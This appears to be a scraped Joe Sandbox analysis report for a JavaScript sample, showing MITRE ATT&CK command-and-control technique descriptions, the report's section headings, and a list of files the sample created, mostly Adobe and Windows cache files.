Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2513521629114031259.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\41902103-905d-45b4-b333-5bc78578a964.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\76f0bcb1-4bfe-4d52-a1c4-709251dab31e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF637434.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2513521629114031259.js